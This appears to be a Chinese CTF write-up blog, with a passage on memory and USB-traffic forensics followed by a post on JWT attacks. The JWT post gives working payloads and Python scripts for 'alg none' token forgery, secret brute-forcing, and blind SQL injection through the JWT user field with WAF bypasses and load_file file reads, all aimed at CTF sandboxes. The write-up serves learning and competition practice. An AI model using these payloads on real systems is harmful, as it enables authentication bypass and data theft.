dump画图进程: dump 出来的进程文件,可以使用 foremost 来分离里面的文件。332是对应进程的pid 。不进行分离的题型参看https://shawroot.hatenablog.com/entry/2019/11/12/%E8%AE%B0%E4%B8%80%E9%81%93%E7%BA%A2%E5%B8%BD%E6%9D%AFCTF%E9%9A%90%E5%86%99%E9%A2%98%E6%B5%85%E5%AD%A6Volatility

0x02 USB流量分析

这里以XMAN2018挑战赛的AutoKey进行学习

题目下载

pcapng文件用wireshark打开出现如下信息,这里是经典的提取usb流量问题

tshark -r attachment.pcapng -T fields -e usb.capdata > usbdata.txt

-r: 读取本地文件,可以先抓包存下来之后再进行分析;
-T,-e: 指的是打印这两个字段;

结果会保存到usbdata.txt中。

用脚本对USB信息进行翻译

#!usr/bin/env python
#-*- coding:utf-8 -*-
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

还有一种USB信息转换为轨迹坐标的方式。文章参看Root师傅的博客文章https://shawroot.cc/archives/580

0x03 网络安全与执法专业比赛取证10题

考点:volatilty内存取证,USB流量分析,希尔密码

进程中没有看到notepad,但是又cmd进程,利用cmdscan插件查看得到希尔密码的矩阵,还缺少一个密文。

进行文件搜索,最后将zip文件提取出

修改后缀后打开压缩包发现是一个img文件。考虑linux磁盘挂载。

可以看到有一个usb.pcapng文件,考虑USB流量分析,这里直接用tshark命令搭配上面的脚本获取隐藏信息

得到写入密码的密文,利用在线网站进行解密:https://www.dcode.fr/hill-cipher

如上所选修改成对应的3×3矩阵。得到最终的结果

最后注意要取消磁盘挂载:umount ./guazai(挂载文件夹)

文章参考:https://shawroot.cc/archives/673

0x04 最后

感谢Root师傅的带飞,这次比赛跟Root师傅学到了好多。


0x00、知识点:

JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案

它的构成: 第一部分我们称它为头部(header),第二部分我们称其为载荷(payload, 类似于飞机上承载的物品),第三部分是签证(signature).

类似于:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ 

header

jwt的头部承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常直接使用 HMAC SHA256

完整的头部就像下面这样的JSON:

{
  'typ': 'JWT',
  'alg': 'HS256'
}

然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

payload

载荷就是存放有效信息的地方。这些有效信息包含三个部分。

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明

标准中注册的声明 (建议但不强制使用) :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

定义一个payload:

{
  "sub": "1234567890",
  "name": "purplet",
  "admin": true,
  "secretid": 1
}

然后将其进行base64加密,得到Jwt的第二部分。

ew0KICAic3ViIjogIjEyMzQ1Njc4OTAiLA0KICAibmFtZSI6ICJwdXJwbGV0IiwNCiAgImFkbWluIjogdHJ1ZSwNCiAgInNlY3JldGlkIjogMQ0KfQ

signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。加密方式如下。

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

最后将这三部分用.连接成一个完整的字符串,构成了最终的jwt。

0x01 、NodeJS的JWT库的空加密缺陷

以下内容学习基于三道CTF题。

虎符CTF的WEB(easy_login)

该题开始是一个登录框,经过随意注册一个用户后,再进行登录后提示没有权限登录,这一点我们直接就可以猜测出是要求admin用户登录,然后我们在注册处利用BP抓包放包后可以看到有一串JWT的字符

并且在登录时也会发现该JWT字符会作为身份验证部分与用户名、密码一起通过POST方法表单传递到后端进行验证。所以可以想到JWT的伪造,同时结合题目的描述与node有关,学习到node的JWT库的空加密缺陷问题。对普通用户的JWT进行base64解密如下。

解题:

首先注册登陆采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候通过用户传过来的secretid取出对应的secret_token来解密jwt,如果解密成功就算登陆成功。

然而,node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密。

因为服务端 通过

 var secret = global.secretlist[secretid];
 jwt.verify(req.cookies.token,secret);

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

#pip3 install pyjwt
import jwt

token = jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587367857},algorithm="none",key="").decode(encoding='utf-8')

print(token)

​因为我们知晓了JWT的原理,所以也可以直接对内容进行base64加密, 可以根据其node的JWT缺陷将secretid置为空,所以构造以下payload

{“alg”:”HS256″,”typ”:”JWT”}.{“secretid”:””,”username”:”admin”,”password”:”123456″,”iat”:1587367857}.

对其直接进行base64加密后,注意“点”不要加密同时最后不要拼接第三段,用户名和密码写上构造的admin/123456,抓登陆包。

即可登录,获得flag

0x02、JWT-cookie伪造

[CISCN2019 华北赛区 Day1 Web2]ikun

该题我只对JWT部分进行记录

注册普通用户登录后首先可以看到有1000元

而按照题目要求需要购买lv6,它的价格又十分昂贵,抓包后看到有discount参数,尝试将其改的特别小,使我们能够购买成功。成功购买后但是出现

这就很明显需要我们越权进行登录,查看cookie此时可以看到一段JWT

看到JWT长度较短,所以可以考虑利用工具将JWT的第三段密钥爆破出来

工具链接如下:

https://github.com/brendan-rius/c-jwt-cracker

爆破密钥

知道密钥后,我们就可以任意构造JWT了,利用在线网站:https://jwt.io/

这样就实现了admin用户身份的伪造,将所得内容替换回去(可以利用火狐插件EditThisCookie),最终即可以admin用户身份登录。

文章参考:https://www.jianshu.com/p/576dbf44b2ae

0x03 JWT注入

【网鼎杯2020玄武组】js_on

通过这道题再次学习到JWT的一种考法。首先题目打开是一个登录框,默认弱口令admin/admin登陆成功,页面返回了一个key值

回到前台重新再注册一个号purplet/123456,登陆后返回如下信息

说明后端肯定判断了当前登录用户是否为admin,如果不是就返回Hello+用户

登陆后再利用BurpSuite进行抓包,看到cookie处存在JWT的信息,对前两段内容进行base64解密,可以看到

{“alg”:”HS256″,”typ”:”JWT”}.{“user”:”purplet”,”news”:”Hello purplet”}

可以看出后端通过JWT对当前用户进行了判断,从而决定页面输出内容,因此猜测user字段中可能存在sql注入漏洞,利用在线加密网站 https://jwt.io/ 进行尝试

PAYLOAD处user构造一个sql注入的检测,news随便输入即可,当user处的值为真即可输出news中的值。密钥填写admin登陆后所给密钥

然而发过去却触发了waf,因此考虑绕过,先将空格换成/**/试下

可以看到当等式不成立时输出红线所画信息,再次构造user为admin’/**/and/**/1=1#

可以看到出现了news中的值:1,那么确认是sql注入无疑了,引用大佬的脚本,利用load_file读取根目录下的flag

import jwt
import requests
url = 'http://challenge-e30271f39809c3f0.sandbox.ctfhub.com:10080/index.php'
data = ''
dict = '0123456789abcdeflg-{}'
for i in range(1, 60):
    for j in dict:
        encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"},'xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6',headers={"alg":"HS256","typ":"jwt"})
        cookies = {
             'token':encoded_jwt
         }
        try:
            res = requests.get(url=url,cookies=cookies,timeout=3)
            if 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6' in res.content:
                 data += j
                 print(str(data))
                 break
         except Exception as e:
             print(str(e))

还有一种方法,将算法置为none,同虎符杯的easy_login一题有相似原理,将第三部分置空,但前面带上.

{"alg":"none","typ":"JWT"}.{"user":"admin'/**/and/**/1=1#","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}.

如上这么构造,对.左右两边分别base64加密,发包过去,得到正常回显

{“alg”:”none”,”typ”:”JWT”}.{“user”:”admin’/**/and/**/1=2#”,”news”:”key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6″}.

很明显这样也可以成功构造注入,经过Fuzz测试又发现过滤了select,可用sel<>ect绕过,借用大佬的脚本跑出flag,这波学习到了。

import base64
import requests
def b64urlencode(data):
     return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
def replace(s):
    s = s.replace(" ", "/**/")
    return s
url = "http://challenge-e30271f39809c3f0.sandbox.ctfhub.com:10080/index.php"
charset = ",abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%}_{:-"
result = ""
for i in range(len(result) + 1, len(result) + 100):
    for c in charset:
        payload = "admin' and (sel<>ect ascii(mid(load_file('/flag'),{},1)))={} #".format(i, ord(c))
        payload = replace(payload)
        msg = "{}\t{}\t{}".format(i, c, payload)
        cookies = {
            "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.{}.".format(b64urlencode('{"user":"' + payload + '","news":"1111"}'))
         }
        r = requests.get(url, cookies=cookies)
        if "1111" in r.text:
            result += c
            print result
            break